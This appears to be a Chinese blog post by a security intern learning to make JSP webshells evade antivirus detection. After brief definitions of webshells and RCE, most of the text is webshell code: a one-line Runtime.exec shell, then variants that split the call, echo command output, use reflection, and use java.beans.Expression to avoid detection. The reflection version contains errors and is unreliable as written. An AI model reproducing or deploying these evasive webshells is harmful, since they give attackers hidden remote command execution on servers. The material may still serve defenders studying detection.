好搞笑,我身边的人省护期间天天提到许少,听说是一个很厉害的大佬。
结果我免杀跟着学的视频就是这位大佬的。
更离谱的是,聪哥说我们是见过许少的,就是上次给红队整理报告的时候,他就在。
果然,实习就是好,传说中的大佬们就在身边——虽然我都不认识,但是还是感觉好厉害。
来吧,开始学习免杀
webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,主要用于网站管理、服务器管理、权限管理等操作。使用方法简单,只需上传一个代码文件,通过网址访问,便可进行很多日常操作,极大地方便了使用者对网站和服务器的管理。
RCE英文全称:remote command/code execute
分为远程命令执行ping和远程代码执行evel。
漏洞出现的原因:没有在输入口做输入处理。
首先就是最简单的一句话木马:
<%@ page language="java" pageEncoding="UTF-8" %>
<%
Runtime.getRuntime().exec(request.getParameter("cmd"));
%>
太容易被发现了
而且在我写代码的时候电脑的病毒和威胁防护就已经开始反应了
现在将这一句话木马,分开来写
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd =request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
%>
沙箱是通过了✌
但是cmd=ipconfig是什么都不出的,netstat -ano也是。
再次修改代码
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd =request.getParameter("cmd");
Process process = Runtime.getRuntime().exec(cmd);
InputStream in = process.getInputStream();
InputStreamReader reader = new InputStreamReader(in);
BufferedReader input = new BufferedReader(reader);
String s = null;
response.getWriter().print("<pre>");
while ((s = input.readLine())!=null){
response.getWriter().println(s);
}
response.getWriter().print("</pre>");
%>
中间出了个小插曲,
我一直看不出来代码为什么报错,结果找了半天竟然是因为getWrite少了个r。
但是这只完成了可回显,还没有反射的功能
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd =request.getParameter("cmd");
Class<?> rt = Class.forName("java.lang.getRuntime");
Methond grMethod = rt.getMethod("getRuntime");
Methond method = rt.getMethod("exec",String.class);
Object object = method.invoke(grMethod.invoke(null),cmd);
Process process = (Process)object;
InputStream in = process.getInputStream();
InputStreamReader reader = new InputStreamReader(in);
BufferedReader input = new BufferedReader(reader);
String s = null;
response.getWriter().print("<pre>");
while ((s = input.readLine())!=null){
response.getWriter().println(s);
}
response.getWriter().print("</pre>");
%>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.beans.Expression" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd =request.getParameter("cmd");
Expression expr = new Expression(Runtime.getRuntime(),"exec",new Object[]{cmd});
Process process = (Process) expr.getValue();
InputStream in = process.getInputStream();
StringBuilder sb = new StringBuilder();
response.getWriter().print("<pre>");
InputStreamReader resultReader = new InputStreamReader(in);
BufferedReader stdInput = new BufferedReader(resultReader);
String s = null;
while ((s = stdInput.readLine())!=null){
sb.append(s).append("\n");
}
response.getWriter().print(sb.toString());
response.getWriter().print("</pre>");
%>